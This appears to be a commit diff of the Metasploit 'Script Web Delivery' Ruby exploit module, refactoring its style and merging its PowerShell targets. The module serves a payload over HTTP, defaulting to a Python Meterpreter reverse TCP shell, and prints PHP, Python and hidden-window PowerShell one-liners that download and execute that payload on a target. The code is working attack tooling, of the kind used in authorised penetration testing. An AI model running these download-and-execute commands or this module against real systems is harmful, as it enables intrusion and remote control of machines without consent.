4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'msf/core/exploit/powershell'
7
8
8
9
class Metasploit3 < Msf ::Exploit ::Remote
9
10
Rank = ManualRanking
10
11
12
+ include Msf ::Exploit ::Powershell
11
13
include Msf ::Exploit ::Remote ::HttpServer
12
14
13
15
def initialize ( info = { } )
14
16
super ( update_info ( info ,
15
17
'Name' => 'Script Web Delivery' ,
16
- 'Description' => %q{
18
+ 'Description' => %q(
17
19
This module quickly fires up a web server that serves a payload.
18
20
The provided command will start the specified scripting language interpreter and then download and execute the
19
21
payload. The main purpose of this module is to quickly establish a session on a target
@@ -23,26 +25,26 @@ def initialize(info = {})
23
25
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
24
26
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
25
27
x86 payloads on x64 machines.
26
- } ,
28
+ ) ,
27
29
'License' => MSF_LICENSE ,
28
30
'Author' =>
29
31
[
30
32
'Andrew Smith "jakx" <[email protected] >' ,
31
33
'Ben Campbell' ,
32
- 'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
34
+ 'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
33
35
] ,
34
36
'DefaultOptions' =>
35
37
{
36
38
'Payload' => 'python/meterpreter/reverse_tcp'
37
39
} ,
38
40
'References' =>
39
41
[
40
- [ 'URL' , 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
41
- [ 'URL' , 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
42
- [ 'URL' , 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/' ] ,
43
- [ 'URL' , 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ]
42
+ [ 'URL' , 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
43
+ [ 'URL' , 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
44
+ [ 'URL' , 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/' ] ,
45
+ [ 'URL' , 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ]
44
46
] ,
45
- 'Platform' => %w{ python php win } ,
47
+ 'Platform' => %w( python php win ) ,
46
48
'Targets' =>
47
49
[
48
50
[ 'Python' , {
@@ -53,45 +55,45 @@ def initialize(info = {})
53
55
'Platform' => 'php' ,
54
56
'Arch' => ARCH_PHP
55
57
} ] ,
56
- [ 'PSH_x86 ' , {
58
+ [ 'PSH ' , {
57
59
'Platform' => 'win' ,
58
- 'Arch' => ARCH_X86
59
- } ] ,
60
- [ 'PSH_x64' , {
61
- 'Platform' => 'win' ,
62
- 'Arch' => ARCH_X86_64
63
- } ] ,
60
+ 'Arch' => [ ARCH_X86 , ARCH_X86_64 ]
61
+ } ]
64
62
] ,
65
63
'DefaultTarget' => 0 ,
66
64
'DisclosureDate' => 'Jul 19 2013'
67
65
) )
68
66
end
69
67
70
- def on_request_uri ( cli , request )
71
- print_status ( "Delivering Payload" )
72
- if ( target . name . include? "PSH" )
73
- data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
68
+ def on_request_uri ( cli , _request )
69
+ print_status ( 'Delivering Payload' )
70
+ if target . name . include? 'PSH'
71
+ data = cmd_psh_payload ( payload . encoded ,
72
+ payload_instance . arch . first ,
73
+ remove_comspec : true ,
74
+ use_single_quotes : true
75
+ )
74
76
else
75
- data = %Q| #{ payload . encoded } |
77
+ data = %Q( #{ payload . encoded } )
76
78
end
77
- send_response ( cli , data , { 'Content-Type' => 'application/octet-stream' } )
79
+ send_response ( cli , data , 'Content-Type' => 'application/octet-stream' )
78
80
end
79
81
80
82
def primer
81
- url = get_uri ( )
82
- print_status ( " Run the following command on the target machine:" )
83
+ url = get_uri
84
+ print_status ( ' Run the following command on the target machine:' )
83
85
case target . name
84
- when " PHP"
86
+ when ' PHP'
85
87
print_line ( "php -d allow_url_fopen=true -r \" eval(file_get_contents('#{ url } '));\" " )
86
- when " Python"
88
+ when ' Python'
87
89
print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
88
- when "PSH_x86" , "PSH_x64"
90
+ when 'PSH'
89
91
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
90
- print_line generate_psh_command_line ( {
91
- :noprofile => true ,
92
- :windowstyle => 'hidden' ,
93
- :command => download_and_run
94
- } )
92
+ print_line generate_psh_command_line (
93
+ noprofile : true ,
94
+ windowstyle : 'hidden' ,
95
+ command : download_and_run
96
+ )
95
97
end
96
98
end
97
99
end
0 commit comments